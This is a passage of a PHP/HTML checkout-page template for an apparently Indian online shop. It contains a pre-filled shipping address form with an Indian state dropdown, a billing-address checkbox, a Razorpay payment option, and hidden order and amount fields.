                                            'permanent_address_line2' => '',
                                            'permanent_city'          => '',
                                            'permanent_state'         => '',
                                            'permanent_postal_code'   => '',
                                            'permanent_country'       => 'India',
                                            'permanent_phone'         => '',
                                            'permanent_landmark'      => '',
                                    
                                            'delivery_address_line1'  => '',
                                            'delivery_address_line2'  => '',
                                            'delivery_city'           => '',
                                            'delivery_state'          => '',
                                            'delivery_postal_code'    => '',
                                            'delivery_country'        => 'India',
                                            'delivery_phone'          => '',
                                            'delivery_landmark'       => ''
                                        ];
                                    }
                                    
                                    // Debug (optional)
                                    // echo '<pre>'; print_r($user); echo '</pre>';
                                    ?>

                                    <div class="checktab-content">
                                    <!-- ✅ Customer & Shipping Info -->
                                    <div class="checktab-detail" data-animate="animate__fadeIn">
                                        <div class="checktab-data">
                                            <div class="checktab-info">
                                                <div class="acc-info">
                                                    <div class="acc-title d-flex align-items-center justify-content-between">
                                                        <h6 class="font-18">Shipping Address</h6>
                                                        <button type="button" class="acc-edit d-none body-secondary-color icon-16" aria-label="Edit">
                                                            <i class="ri-edit-2-line d-block lh-1"></i>
                                                        </button>
                                                    </div>
                                                    <div class="acc-detail mst-22">
                                                        <div class="acc-detail-form">
                                                            <div class="row field-row">
                                
                                                                <!-- Full Name -->
                                                                <div class="col-12 col-md-6 field-col">
                                                                    <label for="name" class="field-label">Full Name</label>
                                                                    <input type="text" id="name" name="name" class="w-100"
                                                                           value="<?= htmlspecialchars($user['first_name'].' '.$user['last_name']) ?>"
                                                                           placeholder="Your name" autocomplete="name" required>
                                                                </div>
                                
                                                                <!-- Email -->
                                                                <div class="col-12 col-md-6 field-col">
                                                                    <label for="email" class="field-label">Email</label>
                                                                    <input type="email" id="email" name="email" class="w-100"
                                                                           value="<?= htmlspecialchars($user['email']) ?>"
                                                                           placeholder="Email address" autocomplete="email" required>
                                                                </div>
                                
                                                                <!-- Phone -->
                                                                <div class="col-12 col-md-6 field-col">
                                                                    <label for="phone" class="field-label">Phone</label>
                                                                    <input type="text" id="phone" name="phone" class="w-100"
                                                                           value="<?= htmlspecialchars($user['delivery_phone'] ?: $user['phone']) ?>"
                                                                           placeholder="Phone number" autocomplete="tel" required>
                                                                </div>
                                
                                                                <!-- Alternate Phone -->
                                                                <div class="col-12 col-md-6 field-col">
                                                                    <label for="alt-phone" class="field-label">Alternate Phone (Optional)</label>
                                                                    <input type="text" id="alt-phone" name="alt_phone" class="w-100"
                                                                           value="<?php echo htmlspecialchars($user['alt_phone'] ?? '', ENT_QUOTES, 'UTF-8'); ?>"
                                                                           placeholder="Alternate number" autocomplete="tel">
                                                                </div>
                                
                                                                <!-- Address Line 1 -->
                                                                    <div class="col-12 field-col">
                                                                        <label for="address" class="field-label">Address Line 1</label>
                                                                        <input type="text" id="address" name="address" class="w-100"
                                                                            value="<?= htmlspecialchars($user['delivery_address_line1'] ?? '') ?>"
                                                                            placeholder="House no, Street" autocomplete="address-line1" required>
                                                                    </div>

                                                                    <!-- Address Line 2 / Apartment -->
                                                                    <div class="col-12 field-col">
                                                                        <label for="house-no" class="field-label">Apartment, suite, etc</label>
                                                                        <input type="text" id="house-no" name="address2" class="w-100"
                                                                            value="<?= htmlspecialchars($user['delivery_address_line2'] ?? '') ?>"
                                                                            placeholder="Apartment, suite, etc" autocomplete="address-line2">
                                                                    </div>

                                                                    <!-- Landmark -->
                                                                    <div class="col-12 field-col">
                                                                        <label for="landmark" class="field-label">Landmark (Optional)</label>
                                                                        <input type="text" id="landmark" name="landmark" class="w-100"
                                                                            value="<?= htmlspecialchars($user['delivery_landmark'] ?? '') ?>"
                                                                            placeholder="Nearby landmark">
                                                                    </div>

                                
                                                                <!-- Country -->
                                                                <div class="col-12 col-md-6 field-col">
                                                                    <label for="country" class="field-label">Country</label>
                                                                    <input type="text" id="country" name="country" class="w-100"
                                                                           value="<?= htmlspecialchars($user['delivery_country'] ?? 'India') ?>"
                                                                           readonly>
                                                                </div>
                                
                                
                                                                    <!-- State -->
                                                                         <div class="col-12 col-md-6 field-col">
                                                                        <label for="province" class="field-label">State</label>
                                                                        <select id="province" name="province" class="w-100" autocomplete="address-level1" required>
                                                                            <option value="">Select State</option>
                                                                            <option value="Andhra Pradesh" <?= ($user['delivery_state']=='Andhra Pradesh')?'selected':''; ?>>Andhra Pradesh</option>
                                                                            <option value="Arunachal Pradesh" <?= ($user['delivery_state']=='Arunachal Pradesh')?'selected':''; ?>>Arunachal Pradesh</option>
                                                                            <option value="Assam" <?= ($user['delivery_state']=='Assam')?'selected':''; ?>>Assam</option>
                                                                            <option value="Bihar" <?= ($user['delivery_state']=='Bihar')?'selected':''; ?>>Bihar</option>
                                                                            <option value="Chhattisgarh" <?= ($user['delivery_state']=='Chhattisgarh')?'selected':''; ?>>Chhattisgarh</option>
                                                                            <option value="Goa" <?= ($user['delivery_state']=='Goa')?'selected':''; ?>>Goa</option>
                                                                            <option value="Gujarat" <?= ($user['delivery_state']=='Gujarat')?'selected':''; ?>>Gujarat</option>
                                                                            <option value="Haryana" <?= ($user['delivery_state']=='Haryana')?'selected':''; ?>>Haryana</option>
                                                                            <option value="Himachal Pradesh" <?= ($user['delivery_state']=='Himachal Pradesh')?'selected':''; ?>>Himachal Pradesh</option>
                                                                            <option value="Jharkhand" <?= ($user['delivery_state']=='Jharkhand')?'selected':''; ?>>Jharkhand</option>
                                                                            <option value="Karnataka" <?= ($user['delivery_state']=='Karnataka')?'selected':''; ?>>Karnataka</option>
                                                                            <option value="Kerala" <?= ($user['delivery_state']=='Kerala')?'selected':''; ?>>Kerala</option>
                                                                            <option value="Madhya Pradesh" <?= ($user['delivery_state']=='Madhya Pradesh')?'selected':''; ?>>Madhya Pradesh</option>
                                                                            <option value="Maharashtra" <?= ($user['delivery_state']=='Maharashtra')?'selected':''; ?>>Maharashtra</option>
                                                                            <option value="Manipur" <?= ($user['delivery_state']=='Manipur')?'selected':''; ?>>Manipur</option>
                                                                            <option value="Meghalaya" <?= ($user['delivery_state']=='Meghalaya')?'selected':''; ?>>Meghalaya</option>
                                                                            <option value="Mizoram" <?= ($user['delivery_state']=='Mizoram')?'selected':''; ?>>Mizoram</option>
                                                                            <option value="Nagaland" <?= ($user['delivery_state']=='Nagaland')?'selected':''; ?>>Nagaland</option>
                                                                            <option value="Odisha" <?= ($user['delivery_state']=='Odisha')?'selected':''; ?>>Odisha</option>
                                                                            <option value="Punjab" <?= ($user['delivery_state']=='Punjab')?'selected':''; ?>>Punjab</option>
                                                                            <option value="Rajasthan" <?= ($user['delivery_state']=='Rajasthan')?'selected':''; ?>>Rajasthan</option>
                                                                            <option value="Sikkim" <?= ($user['delivery_state']=='Sikkim')?'selected':''; ?>>Sikkim</option>
                                                                            <option value="Tamil Nadu" <?= ($user['delivery_state']=='Tamil Nadu')?'selected':''; ?>>Tamil Nadu</option>
                                                                            <option value="Telangana" <?= ($user['delivery_state']=='Telangana')?'selected':''; ?>>Telangana</option>
                                                                            <option value="Tripura" <?= ($user['delivery_state']=='Tripura')?'selected':''; ?>>Tripura</option>
                                                                            <option value="Uttar Pradesh" <?= ($user['delivery_state']=='Uttar Pradesh')?'selected':''; ?>>Uttar Pradesh</option>
                                                                            <option value="Uttarakhand" <?= ($user['delivery_state']=='Uttarakhand')?'selected':''; ?>>Uttarakhand</option>
                                                                            <option value="West Bengal" <?= ($user['delivery_state']=='West Bengal')?'selected':''; ?>>West Bengal</option>
                                                                            <option value="Andaman and Nicobar Islands" <?= ($user['delivery_state']=='Andaman and Nicobar Islands')?'selected':''; ?>>Andaman and Nicobar Islands</option>
                                                                            <option value="Chandigarh" <?= ($user['delivery_state']=='Chandigarh')?'selected':''; ?>>Chandigarh</option>
                                                                            <option value="Dadra and Nagar Haveli and Daman and Diu" <?= ($user['delivery_state']=='Dadra and Nagar Haveli and Daman and Diu')?'selected':''; ?>>Dadra and Nagar Haveli and Daman and Diu</option>
                                                                            <option value="Delhi" <?= ($user['delivery_state']=='Delhi')?'selected':''; ?>>Delhi</option>
                                                                            <option value="Jammu and Kashmir" <?= ($user['delivery_state']=='Jammu and Kashmir')?'selected':''; ?>>Jammu and Kashmir</option>
                                                                            <option value="Ladakh" <?= ($user['delivery_state']=='Ladakh')?'selected':''; ?>>Ladakh</option>
                                                                            <option value="Lakshadweep" <?= ($user['delivery_state']=='Lakshadweep')?'selected':''; ?>>Lakshadweep</option>
                                                                            <option value="Puducherry" <?= ($user['delivery_state']=='Puducherry')?'selected':''; ?>>Puducherry</option>
                                                                        </select>
                                                                    </div>
                                
                                
                                                                <!-- City -->
                                                            <div class="col-12 col-md-6 field-col">
                                                                <label for="city" class="field-label">City/Village</label>
                                                                <input type="text" id="city" name="city" class="w-100"
                                                                    value="<?= htmlspecialchars($user['delivery_city'] ?? '') ?>"
                                                                    placeholder="City/Village" autocomplete="address-level2" required>
                                                            </div>

                                                            <!-- Pincode -->
                                                            <div class="col-12 col-md-6 field-col">
                                                                <label for="pincode" class="field-label">Pincode</label>
                                                                <input type="text" id="pincode" name="pincode" class="w-100"
                                                                    value="<?= htmlspecialchars($user['delivery_postal_code'] ?? '') ?>"
                                                                    placeholder="Pincode" autocomplete="postal-code" required>
                                                            </div>

                                                            </div> <!-- row -->
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                
                                        <!-- ✅ Billing Info (optional checkbox to copy shipping) -->
                                        <div class="checktab-data">
                                            <div class="acc-info">
                                                <h6 class="font-18">Billing Address</h6>
                                                <label>
                                                    <input type="checkbox" name="same_as_shipping" value="1" checked>
                                                    Same as shipping address
                                                </label>
                                            </div>
                                        </div>
                                
                                        <!-- ✅ Payment Info -->
                                        <div class="checktab-data">
                                            <div class="checktab-info">
                                                <div class="acc-info">
                                                    <div class="acc-detail mst-22">
                                                        <div class="check-method">
                                                            <span class="d-block meb-16">Choose payment method:</span>
                                                            <div class="row row-mtm15">
                                                                <!-- Razorpay -->
                                                                <div class="check-method-option">
                                                                    <div class="check-method-content d-flex align-items-center justify-content-between ptb-15 plr-15 extra-bg border-radius">
                                                                        <label class="cust-radio-label">
                                                                            <input type="radio" name="pay" value="razorpay" checked>
                                                                            <span class="d-block cust-check"></span>
                                                                            <span>Razorpay (UPI / Card )</span>
                                                                        </label>
                                                                    </div>
                                                                </div>
                                
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                                 <!-- Customer -->
                                            <input type="hidden" name="customer_id" value="<?= $_SESSION['customer_id'] ?? '' ?>">
                                            <input type="hidden" name="shipping_charge" value="<?= $shippingCharge ?>">
                                            <input type="hidden" name="total_amount" value="<?= $subtotal ?>">
                                            <input type="hidden" name="final_amount" value="<?= $finalPayableAmount ?>">
                                            
                                            <!-- All Orders JSON -->
                                            <input type="hidden" name="allorder_json" 
                                                   value='<?= htmlspecialchars(json_encode($allorderData), ENT_QUOTES, "UTF-8") ?>'>
                                            
                                            <!-- Sales Order JSON -->
                                            <input type="hidden" name="saleorder_json" 
                                                   value='<?= htmlspecialchars(json_encode($saleOrderData), ENT_QUOTES, "UTF-8") ?>'>
                                            
                                            <!-- Sale Items JSON -->
                                            <input type="hidden" name="saleitems_json" 
                                                   value='<?= htmlspecialchars(json_encode($saleItemsData), ENT_QUOTES, "UTF-8") ?>'>
                                            
                                            <!-- Rental Orders / Items JSON -->
                                            <input type="hidden" name="rentalorder_json" 
                                                   value='<?= htmlspecialchars(json_encode($rentalOrderData), ENT_QUOTES, "UTF-8") ?>'>



                                            <!-- ✅ Submit Button -->
                                            <div class="checktab-btn d-flex flex-column flex-md-row-reverse justify-content-md-between mst-30 pst-30 bst">
                                                <button type="submit" name="place_order" class="width-100 width-md-auto btn-style secondary-btn">
                                                    Place Order
                                                </button>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                
                                </div>
                            </div>
                        </div>
                    </div>
                </form>
            </section>
        </main>
 <?php include "common/footer.php"; ?>  

........